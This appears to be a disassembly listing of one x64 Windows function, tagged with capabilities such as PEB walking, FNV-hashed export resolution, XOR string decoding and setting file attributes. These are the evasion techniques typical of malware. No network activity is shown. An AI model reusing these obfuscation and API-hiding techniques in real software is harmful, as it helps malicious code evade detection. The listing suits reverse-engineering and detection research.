Function at 0x140079940
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports
Set file attributes

Disassembly:
mov r11, rsp
push rbp
push rbx
lea rbp, [r11 - 0x278]
sub rsp, 0x368
mov rax, qword [0x140196600]
xor rax, rsp
mov qword [rbp + 0x230], rax
mov qword [r11 + 0x10], rdi
mov ecx, 0xfffffff5
mov qword [r11 + 0x18], r14
mov qword [r11 - 0x18], r15
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, qword gs:[0x60]
mov r15, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079a07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079a07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140079a02
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1400799e0
cmp r8d, 0x491e0a9c
je 0x140079a0c
test r9d, r9d
jne 0x1400799c0
mov rcx, qword [rcx]
jmp 0x140079990
mov ecx, dword [rdi + 0x24]
add rcx, r10
movaps xmmword [rsp + 0x350], xmm6
movaps xmmword [rsp + 0x340], xmm7
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [0x140163c64]
add rax, r10
call rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x10]
mov edx, 0x104
lea rcx, [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
test eax, eax
jne 0x140079ea4
lea edx, [rax + 0x5c]
mov qword [rsp + 0x380], rsi
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140079a96
mov byte [rax], 0
movups xmm0, xmmword [0x140163b30]
movups xmm1, xmmword [0x140163b40]
movzx eax, byte [0x140163ba8]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140163b50]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x140163b70]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140163b90]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x140163b60]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [str.Q5_bqzcwG]
movups xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [0x140163b80]
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x38], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079b87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079b87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140079b82
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140079b60
cmp r8d, 0x491e0a9c
je 0x140079b8c
test r9d, r9d
jne 0x140079b40
mov rax, qword [rax]
jmp 0x140079b10
mov ecx, dword [rdi + 0x24]
xor ebx, ebx
mov r14d, dword [reloc.WS2_32.dll_accept]
add rcx, r10
mov r8d, ebx
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp r14d, 2
jl 0x140079cff
movdqa xmm0, xmmword [0x140167000]
lea rcx, [rsp + 0x54]
movdqa xmm5, xmmword [0x1400fb300]
movdqa xmm4, xmmword [0x140167090]
movdqa xmm6, xmmword [0x140166fd0]
movdqa xmmword [rbp], xmm0
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140166ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140166ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x140079bf0
cmp r8d, 0x79
jge 0x140079d44
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x140079d10
lea rcx, [rsp + 0x50]
call r11
movsd xmm0, qword [0x140163bb0]
lea rcx, [rsp + 0x30]
movzx eax, byte [0x140163bb8]
mov edx, 6
movsd qword [rsp + 0x30], xmm0
xor al, 0x3d
xor byte [rsp + 0x31], 0x36
xor byte [rsp + 0x32], 0x37
xor byte [rsp + 0x33], 0x38
xor byte [rsp + 0x34], 0x39
xor byte [rsp + 0x35], 0x3a
xor byte [rsp + 0x36], 0x3b
xor byte [rsp + 0x37], 0x3c
mov byte [rsp + 0x38], al
mov byte [rsp + 0x30], 0x68
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movzx eax, byte [0x140163bc8]
movsd xmm0, qword [str._A_]
movsd qword [rsp + 0x20], xmm0
mov byte [rsp + 0x28], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140079e47
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140079e47
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079e42
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140079e20
cmp r8d, 0x491e0a9c
je 0x140079e4c
test r9d, r9d
jne 0x140079e00
mov rax, qword [rax]
jmp 0x140079dd0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x20]
xor byte [rsp + 0x21], 0x36
add rax, r10
xor byte [rsp + 0x22], 0x37
xor byte [rsp + 0x23], 0x38
xor byte [rsp + 0x24], 0x39
xor byte [rsp + 0x25], 0x3a
xor byte [rsp + 0x26], 0x3b
xor byte [rsp + 0x27], 0x3c
xor byte [rsp + 0x28], 0x3d
mov byte [rsp + 0x20], 0x68
call rax
mov rsi, qword [rsp + 0x380]
jmp 0x14007a08a
movups xmm0, xmmword [str.pDEWK]
xor ebx, ebx
movups xmm1, xmmword [0x140163be0]
mov r8d, ebx
mov eax, dword [0x140163c20]
mov r14d, dword [reloc.WS2_32.dll_accept]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140163bf0]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x140163c10]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x140163c00]
mov dword [rbp - 0x60], eax
movzx eax, word [0x140163c24]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x5c], ax
cmp r14d, 2
jl 0x14007a029
movdqa xmm5, xmmword [0x1400fb300]
lea rcx, [rsp + 0x50]
movdqa xmm4, xmmword [0x140167090]
movdqa xmm6, xmmword [0x140166fd0]
movdqa xmm7, xmmword [0x140166fe0]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x140079f30
cmp r8d, 0x2b
jge 0x14007a078
movsxd rax, r8d
lea r9, [rsp + 0x50]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x35
xor word [r9 - 2], ax
cmp r8d, 0x2b
jl 0x14007a040
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
cmp word [0x140163c2e], 0
mov rax, qword [0x140163c28]
mov rdi, qword [rsp + 0x388]
mov qword [rsp + 0x20], rax
je 0x14007a178
cmp r14d, 2
jl 0x14007a12b
movdqa xmm3, xmmword [0x1400fb300]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140167090]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140167090]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140166fd0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x20]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140166fe0]
xorps xmm2, xmm0
movq qword [rsp + 0x20], xmm2
jmp 0x14007a178
lea r9, [rsp + 0x20]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x35
xor word [r9 - 2], ax
cmp r8d, 4
jl 0x14007a140
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov edx, 9
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp word [0x140163c32], 0
lea rdx, [rsp + 0x20]
mov eax, dword [0x140163c30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov dword [rsp + 0x20], eax
je 0x14007a1c8
xor word [rsp + 0x22], 0x36
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x20], ax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov edx, 7
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x140163c34]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov ecx, 0x5d
movzx eax, word [0x140163c38]
xor word [rsp + 0x42], 0x36
xor ax, 0x37
mov word [rsp + 0x40], cx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov word [rsp + 0x44], ax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
movups xmm0, xmmword [str.vR_R__]
movzx eax, word [0x140163c60]
cmp r14d, 2
movups xmm1, xmmword [str.n_M__.0NE]
mov r15, qword [rsp + 0x360]
mov r14, qword [rsp + 0x390]
movups xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x10], ax
movups xmmword [rbp - 0x20], xmm1
jl 0x14007a374
movdqa xmm5, xmmword [0x1400fb300]
lea rcx, [rbp - 0x30]
movdqa xmm4, xmmword [0x140167090]
movdqa xmm6, xmmword [0x140166fd0]
movdqa xmm7, xmmword [0x140166fe0]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x14007a280
cmp ebx, 0x11
jge 0x14007a3b3
movsxd rax, ebx
lea r8, [rbp - 0x30]
lea r8, [r8 + rax*2]
nop
mov eax, 0xa0a0a0a1
lea r8, [r8 + 2]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x35
xor word [r8 - 2], ax
cmp ebx, 0x11
jl 0x14007a380
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
movaps xmm7, xmmword [rsp + 0x340]
movaps xmm6, xmmword [rsp + 0x350]
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.1400e9cd0
add rsp, 0x368
pop rbx
pop rbp
ret